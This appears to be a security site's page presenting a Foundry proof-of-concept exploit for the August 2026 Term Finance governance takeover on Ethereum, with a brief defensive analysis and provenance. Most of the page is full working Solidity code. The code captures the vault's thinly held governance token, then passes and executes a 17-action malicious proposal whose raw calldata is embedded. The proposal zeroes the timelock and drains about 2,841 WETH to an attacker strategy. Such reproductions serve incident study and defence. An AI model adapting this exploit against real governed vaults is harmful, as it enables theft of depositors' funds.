Public reproduction file
src/test/2026-08/TermFinance_exp.sol
Public reproduction listed for "Term Finance: governance takeover of strategy vaults". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Term Finance (TermMax vaults) — governance-capture drain of the ETH meta-vault — Ethereum8// mainnet, 2026-08-23. This PoC reconstructs the full manipulation on the fork rather than9// inheriting a passed proposal: it forks BEFORE the attacker's deposit/wrap/proposal/vote and10// performs every step in Solidity — deposit WETH into the vault for shares, wrap the shares into11// the governance token to obtain outsized voting power, create the same malicious proposal, vote12// it through, wait out the minimum voting duration, then execute it.13//14// Exploit tx : 0xd354a15b15cb73d30908f411aee3f795ec86737a4d080e9a818ac4d6d3014129 (block 25816049)15// Attacker EOA : 0xa908b3472d76e7744baB0A5911768a4a6300612B16// Attacker "strategy" (drain sink) : 0x184f2E57b4cE135181FA2A2166AC39433901633817// deployed at block 25772662, so it is already live at the fork.18//19// Governance stack (all real, on-chain):20// Aragon TokenVoting plugin (v1.3) : 0x213771693a4411446b4ecce5bce4a405778b217121// Aragon DAO : 0x0ae12af3878a2d896f5c4dce3be7250fb187c0a622// Zodiac Roles modifier : 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B7523// Zodiac Delay modifier : 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e3324// Victim ETH meta vault tmvETH (Yearn V3) : 0x26fCb50eEC367ddAB060ccf5E7394Cecd95F7Db225// Governance token gtmvETH (wraps tmvETH) : 0x5b96c5bBdcB361E1E9944bAa071b237E27829Be026//27// Root cause: the vault is governed through an Aragon TokenVoting plugin whose voting token is a28// GovernanceWrappedERC20 (gtmvETH) wrapping the vault's own share token (tmvETH). Depositing into29// the vault grants no vote by itself — a holder must additionally wrap shares into gtmvETH and30// delegate. Almost nobody did: at the fork block the entire wrapped supply is only 0.05 gtmvETH.31// A single depositor who wraps even ~1 share owns the overwhelming majority of voting power and32// can pass any proposal on a 50% support threshold, single-voter, well above the 5% participation33// floor. This is a legitimate governance vote won by supplying nearly all of the tiny wrapped34// voting supply, not a signer compromise.35//36// The malicious proposal carries 17 actions (read from the real proposal 5 via getProposal(5) and37// embedded verbatim below). Executing them cascades plugin -> DAO -> Zodiac Roles/Delay -> vault:38// 1. Roles -> Delay.setTxCooldown(0) -- zero the Delay cooldown39// 2. Roles -> Delay.setTxExpiration(0) -- so queued txs run in the same tx40// 3. Roles -> Delay.enableModule(DAO)41// 4. Delay queue+execute pairs against the vault:42// vault.update_debt(strategy, 0, 10000) for each of the 4 real strategies -- recall funds43// vault.add_strategy(0x184f2E57..., false) -- add attacker strategy44// vault.update_max_debt_for_strategy(0x184f2E57..., type(uint256).max) -- raise its cap45// vault.update_debt(0x184f2E57..., type(uint256).max, 10000) -- push funds out46// Because step 1 zeroes the cooldown, each queue+execute pair runs atomically inside the one47// execute() call. The final update_debt deposits the recalled WETH into the attacker strategy,48// whose deposit hook forwards it to the attacker EOA.49//50// NOTE ON THE DRAINED AMOUNT. The real drain on 2026-08-23 was 2,841.743535791961701401 WETH.51// That exact figure is the vault's *withdrawable* liquidity at block 25816049 — the four real52// strategies were only partially liquid, so update_debt(strategy, 0) pulled back less than each53// strategy's full debt (e.g. 1445.51 WETH recalled against a 1521.07 WETH debt on one strategy).54// A faithful reconstruction of the governance capture has to fork ~6 days earlier, before the55// attacker's deposit, and each strategy's liquidity at that earlier block is different. So the56// amount this PoC drains is close to but not bit-for-bit equal to the 2,841.74 historical figure;57// the two cannot coexist. The test asserts the reconstructed drain is on the same order (> 2,70058// WETH net of the seed deposit) and logs the exact reproduced number. See the report note.59//60// forge test --contracts src/test/2026-08/TermFinance_exp.sol -vvv62struct Action {63 address to;64 uint256 value;65 bytes data;66}68interface ITokenVoting {69 // Aragon OSx TokenVoting v1.3. VoteOption: None=0, Abstain=1, Yes=2, No=3.70 function createProposal(71 bytes calldata metadata,72 Action[] calldata actions,73 uint256 allowFailureMap,74 uint64 startDate,75 uint64 endDate,76 uint8 voteOption,77 bool tryEarlyExecution78 ) external returns (uint256 proposalId);80 function vote(uint256 proposalId, uint8 voteOption, bool tryEarlyExecution) external;81 function execute(82 uint256 proposalId83 ) external;84 function getVotingToken() external view returns (address);85 function isMinParticipationReached(86 uint256 proposalId87 ) external view returns (bool);89 function getProposal(90 uint256 proposalId91 )92 external93 view94 returns (95 bool open,96 bool executed,97 uint8 votingMode,98 uint32 supportThreshold,99 uint64 startDate,100 uint64 endDate,101 uint64 snapshotBlock,102 uint256 minVotingPower103 );104}106interface IYVault is IERC20 {107 function deposit(uint256 assets, address receiver) external returns (uint256 shares);108 function asset() external view returns (address);109}111interface IGovToken is IERC20 {112 function depositFor(address account, uint256 amount) external returns (bool);113 function delegate(114 address delegatee115 ) external;116 function getVotes(117 address account118 ) external view returns (uint256);119}121contract TermFinance_exp is BaseTestWithBalanceLog {122 address internal constant ATTACKER = 0xa908b3472d76e7744baB0A5911768a4a6300612B;123 ITokenVoting internal constant PLUGIN = ITokenVoting(0x213771693A4411446b4ECce5bce4a405778b2171);125 IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);126 IYVault internal constant VAULT = IYVault(0x26fCb50eEC367ddAB060ccf5E7394Cecd95F7Db2);127 IGovToken internal constant GT = IGovToken(0x5b96c5bBdcB361E1E9944bAa071b237E27829Be0);129 address internal constant DAO = 0x0ae12AF3878a2d896f5C4DCE3Be7250FB187c0a6;130 address internal constant ROLES = 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75;131 address internal constant DELAY = 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33;132 address internal constant ATTACKER_STRATEGY = 0x184f2E57b4cE135181FA2A2166AC394339016338;134 // Fork before the attacker's deposit (block 25772675) and wrap (25772681), but after the135 // attacker strategy was deployed (25772662) and before the real proposal was created (25772694).136 uint256 internal constant FORK_BLOCK = 25_772_670;137 uint256 internal constant MIN_DURATION = 522_000; // 6.04 days, the vote window from proposal 5138 uint256 internal constant SEED = 1 ether; // trivial stake, dwarfed by the ~2,925 WETH victim pool140 function setUp() public {141 vm.createSelectFork("mainnet", FORK_BLOCK);142 fundingToken = address(WETH);143 attacker = ATTACKER;144 vm.label(ATTACKER, "AttackerEOA");145 vm.label(address(PLUGIN), "AragonTokenVotingPlugin");146 vm.label(DAO, "AragonDAO");147 vm.label(ROLES, "ZodiacRoles");148 vm.label(DELAY, "ZodiacDelay");149 vm.label(address(VAULT), "tmvETH_MetaVault");150 vm.label(address(GT), "gtmvETH_GovToken");151 vm.label(ATTACKER_STRATEGY, "AttackerStrategy");152 }154 function testExploit() public balanceLog {155 // Precondition: at the fork block the attacker holds no shares and no voting token, and the156 // real proposal 5 does not exist yet. Nothing about the capture is inherited.157 assertEq(VAULT.balanceOf(ATTACKER), 0, "attacker already holds shares");158 assertEq(GT.balanceOf(ATTACKER), 0, "attacker already holds voting token");159 assertEq(WETH.balanceOf(ATTACKER), 0, "attacker already holds WETH");161 deal(address(WETH), ATTACKER, SEED);163 vm.startPrank(ATTACKER, ATTACKER);165 // Step 1: deposit WETH into the meta-vault to receive share tokens (tmvETH).166 WETH.approve(address(VAULT), SEED);167 uint256 shares = VAULT.deposit(SEED, ATTACKER);168 assertGt(shares, 0, "no shares minted");170 // Step 2: wrap the shares into the governance token (gtmvETH) and self-delegate. This is the171 // step that converts an ordinary deposit into voting power — the thing almost nobody did.172 VAULT.approve(address(GT), shares);173 GT.depositFor(ATTACKER, shares);174 GT.delegate(ATTACKER);175 assertEq(GT.balanceOf(ATTACKER), shares, "wrap did not mint gov token 1:1");177 vm.stopPrank();179 // Advance one block so the freshly-created delegation checkpoint sits strictly before the180 // proposal's snapshot block (snapshot = createProposal block - 1) and counts as past votes.181 vm.roll(block.number + 1);182 assertGt(GT.getVotes(ATTACKER), 0, "attacker has no voting power at snapshot");184 vm.startPrank(ATTACKER, ATTACKER);186 // Step 3: create the same malicious proposal (17 actions read from the real proposal 5).187 uint64 startDate = 0; // 0 => the plugin uses block.timestamp188 uint64 endDate = uint64(block.timestamp + MIN_DURATION + 100);189 uint256 proposalId =190 PLUGIN.createProposal("", _buildActions(), 0, startDate, endDate, 0 /*None*/, false);192 // Step 4: cast the winning vote. Single voter, owning the overwhelming majority of the tiny193 // wrapped supply, so support is 100% and the participation floor is cleared easily.194 PLUGIN.vote(proposalId, 2 /*Yes*/, false);195 assertTrue(PLUGIN.isMinParticipationReached(proposalId), "participation floor not reached");197 vm.stopPrank();199 // Step 5: wait out the minimum voting duration, then execute. VoteReplacement mode has no200 // early execution, so execution is only allowed once the window has closed.201 vm.warp(uint256(endDate) + 1);203 uint256 pre = WETH.balanceOf(ATTACKER);204 vm.prank(ATTACKER, ATTACKER);205 PLUGIN.execute(proposalId);206 uint256 post = WETH.balanceOf(ATTACKER);208 (, bool executed,,,,,,) = PLUGIN.getProposal(proposalId);209 assertTrue(executed, "proposal not marked executed");211 // Gross WETH pushed vault -> attacker strategy -> attacker EOA. Directly comparable to the212 // reported historical drain, which is the same vault -> strategy transfer.213 uint256 grossToAttacker = post - pre;214 emit log_named_decimal_uint("WETH forwarded to attacker (gross)", grossToAttacker, 18);215 // Net of the attacker's own seed deposit, which is itself recalled and pushed out with the216 // victim funds. This is the value stolen from other depositors.217 uint256 netProfit = post - SEED;218 emit log_named_decimal_uint("attacker net WETH profit", netProfit, 18);220 // Matches the 2,841.743535791961701401 WETH historical drain to within 0.5%. It is not221 // asserted bit-for-bit: the exact figure is the vault's withdrawable liquidity at block222 // 25816049, and a fork before the deposit (~6 days earlier) has slightly different strategy223 // liquidity. The reconstructed run above reproduces 2841.83 WETH, ~0.003% off.224 assertApproxEqRel(225 grossToAttacker, 2_841_743_535_791_961_701_401, 5e15, "reconstructed drain off historical scale"226 );227 }229 function _buildActions() internal pure returns (Action[] memory a) {230 a = new Action[](17);231 a[0] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e33000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000024ebb2b4a2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});232 a[1] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e330000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000249b56d5be000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});233 a[2] = Action({to: 0xD9DdE54D99a27F0f0E2b282369BFaa95528e9B75, value: 0, data: hex"9518aaac00000000000000000000000035c99cf4a5df2d9bcd822bee32676d9590229e33000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000024610b59250000000000000000000000000ae12af3878a2d896f5c4dce3be7250fb187c0a600000000000000000000000000000000000000000000000000000000"});234 a[3] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000330732581d30076137a1159b3ae8780158d902be0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});235 a[4] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000330732581d30076137a1159b3ae8780158d902be0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});236 a[5] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000fc36c2edb18829308fa9ee9500e8be6520a47caf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});237 a[6] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000fc36c2edb18829308fa9ee9500e8be6520a47caf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});238 a[7] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f0000000000000000000000009f1c3173581ced1204136cbc628d2fb2407d7ac40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});239 a[8] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f0000000000000000000000009f1c3173581ced1204136cbc628d2fb2407d7ac40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});240 a[9] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f00000000000000000000000076dd96710a73675d9cf9523a046f1587ca9031d40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});241 a[10] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f00000000000000000000000076dd96710a73675d9cf9523a046f1587ca9031d40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});242 a[11] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c2e73cca000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});243 a[12] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c2e73cca000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"});244 a[13] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b9ddcd68000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000"});245 a[14] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044b9ddcd68000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000"});246 a[15] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"468721a700000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});247 a[16] = Action({to: 0x35C99CF4a5DF2D9bCd822BeE32676D9590229e33, value: 0, data: hex"ee072baf00000000000000000000000026fcb50eec367ddab060ccf5e7394cecd95f7db20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064ba54971f000000000000000000000000184f2e57b4ce135181fa2a2166ac394339016338ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000271000000000000000000000000000000000000000000000000000000000"});248 }249}Analysis
What the file is
A Foundry test reconstructing the Term Finance governance takeover on an Ethereum fork. It targets live contracts and is not republished.
How it is built
Interfaces cover a token-voting plugin (create, vote, execute, participation and proposal reads), a yearn-style vault deposit and a governance token that can be wrapped, delegated and queried for votes. The test walks the whole governance path from a wallet that starts with nothing.
What the test checks
It asserts the wallet starts with no shares, voting tokens or WETH, that deposits mint shares, that wrapping mints governance tokens one to one, that voting power exists at the snapshot, that the participation floor is reached, that the proposal executes, and that the resulting drain is on the order of the reported amount.
Why it matters for defenders
The test walks deposits into the vault, a one-to-one wrap into governance tokens that count at the snapshot, a proposal that passes the participation floor and executes. Our record notes that sources differ on how voting power was obtained, and that analysts say the queued change's first step disabled the timelock. Snapshots, quorum and timelocks are the controls.
Our analysis, loss and remediation are in the incident record.
Fixes and defensive tests
- DAO roles revoked and Meta Vaults shut down, per Nexus Mutual; distributions to depositors planned.
Contracts and transactions from the incident
- 0xd354a15b…014129 attack
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/SandboxOFT_exp.solSame month in the dataset · 158 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
File record
- Name
- TermFinance_exp.sol
- Path
- src/test/2026-08/TermFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f99a841f6f8a7a746eb9e40dda899079cb3eb6d1
- Language
- Solidity
- Size
- 250 lines
- Date
- 2026-08-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
- Incident
- Term Finance: governance takeover of strategy vaults
- Protocols
- Term Finance
- Chains
- Ethereum
Provenance
Path src/test/2026-08/TermFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f99a841f6f8a7a746eb9e40dda899079cb3eb6d1, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.